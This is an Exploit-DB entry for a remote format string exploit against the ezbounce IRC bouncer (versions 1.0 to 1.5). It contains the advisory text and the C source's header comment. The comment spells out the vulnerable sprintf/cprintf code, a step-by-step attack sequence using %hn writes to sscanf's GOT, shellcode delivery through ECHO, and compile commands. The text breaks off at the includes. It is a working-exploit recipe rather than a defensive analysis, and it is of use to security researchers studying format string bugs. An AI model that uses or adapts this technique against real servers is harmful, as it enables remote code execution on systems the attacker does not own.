Exploit-DB #22848
Description: ezbounce 1.0/1.5 - Format String
Type: remote
Platform: linux
Date: 2003-07-01
Author: V9

Exploit:
// source: https://www.securityfocus.com/bid/8071/info

It has been reported that ezbounce is affected by a format string vulnerability. The condition is present in the file "ezbounce/commands.cpp" and can be triggered when session support is enabled. To exploit this vulnerability, the attacker must have valid credentials. This flaw may be of use to attackers who have proxy access but no privileges on the underlying host.

/*[ ezbounce[v1.0+beyond]: remote format string exploit. ]*
 * (effects current: v1.04a(stable) --- v1.50-pre6(beta)) *
 *                                                        *
 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)       *
 *                                                        *
 * ezbounce homepage/URL:                                 *
 *  http://druglord.freelsd.org/ezbounce/                 *
 *                                                        *
 * requirements to exploit:                               *
 * - valid user/password: any access level.               *
 * - the user's settings contains "enable-detach-command" *
 *   (should be expected, a main feature of ezbounce)     *
 * - ability to connect to anything.  but, does not       *
 *   disconnect after sending initial irc(USER/NICK)      *
 *   information.  this cannot be localhost:bnc_port,     *
 *   it will recognize/abort it.  by default uses         *
 *   "localhost:25".  if no smtpd is running locally,     *
 *   change at will.                                      *
 *                                                        *
 * compile(when using debug, run with 1>file redirect):   *
 *  cc xezb.c -o xezb                                     *
 *  cc xezb.c -o xezb -DDEBUG                             *
 *                                                        *
 * the bug itself(from ezbounce/commands.cpp):            *
 *  1163:CMDFUNC(sessions)                                *
 *  ...                                                   *
 *  1196:char buff[200], timebuff[15];                    *
 *  ...                                                   *
 *  1204:sprintf(buff,"%-3d %-20s %-20s %s\n", ++idx,     *
 *       c->uinfo.irc->nick, c->uinfo.server, timebuff);  *
 *  1205:cprintf(buff);                                   *
 *                                                        *
 * cprintf() performs like printf() typically does, don't *
 * really know why that was printed to a buffer at all,   *
 * considering cprintf() supports formats.  users can     *
 * control the c->uinfo.irc->nick buffer without taint    *
 * checks for anything(%/$), c->uinfo.server can be       *
 * controlled as well.  but, has it to be a real host.    *
 * "%-number" doesn't limit anything.  but, the limit for *
 * the nickname is set as 32 elsewhere.  this is still is *
 * too tight.  so, i am going to write the address in two *
 * detachments.  this means i can't use .dtors or it will *
 * fail with only writing two of the four bytes.  so, i   *
 * am using sscanf()'s GOT, as it is not used in the      *
 * process of writing the address, but is used in other   *
 * functions.                                             *
 *                                                        *
 * as a side note: this could be exploited as a typical   *
 * buffer overflow as well.  but, limited in more ways.   *
 * since c->uinfo.server is also user controlled, but has *
 * to be a legit(able to lookup/idle), you can use a long *
 * string of zeros(ie. "CONN 000000000...") which becomes *
 * 0/localhost to overflow the buffer.  the problem then  *
 * becoming you can only change the address to 0x30's,    *
 * which would require partial address changes(ie.        *
 * 0xbfff0030).  this would be different if               *
 * c->uinfo.irc->nick came after c->uinfo.server in the   *
 * sprintf call.  in that case you could use the server   *
 * as a filler of sorts, then the address(es) to change   *
 * inside the nickname.  but, can't win everything.       *
 *                                                        *
 * best way of exploiting the bug:                        *
 *  USER x                                                *
 *  NICK <sscanf GOT addr/2+2>%.0d$hn                     *
 *  PASS <user>:<pass>                                    *
 *  CONN <open host>:<open port, besides bnc port>        *
 *  EZB detach                                            *
 * (server will disconnect, then reconnect)               *
 *  USER x                                                *
 *  NICK <sscanf GOT addr/2>%.0d$hn                       *
 *  PASS <user>:<pass>                                    *
 *  CONN <open host>:<open port, besides bnc port>        *
 *  EZB detach                                            *
 * (server will disconnect, then reconnect)               *
 *  USER x                                                *
 *  NICK x                                                *
 *  PASS <same user>:<same pass>                          *
 *  ECHO <shellcode> (gets placed on top of __mbuffer[])  *
 *  LOG FIND (uses sscanf())                              *
 * (when sessions/(automatic on connect) gets called it   *
 * will change the address in two different cprintf()     *
 * calls.  so, i don't want to change the .dtors or it    *
 * will only write two bytes.  i am using the sscanf()    *
 * GOT, as it isn't used in the process.  but, "LOG FIND" *
 * uses it)                                               *
 **********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* distance to user supplied data.  shouldn't be    */
/* too far from 12, i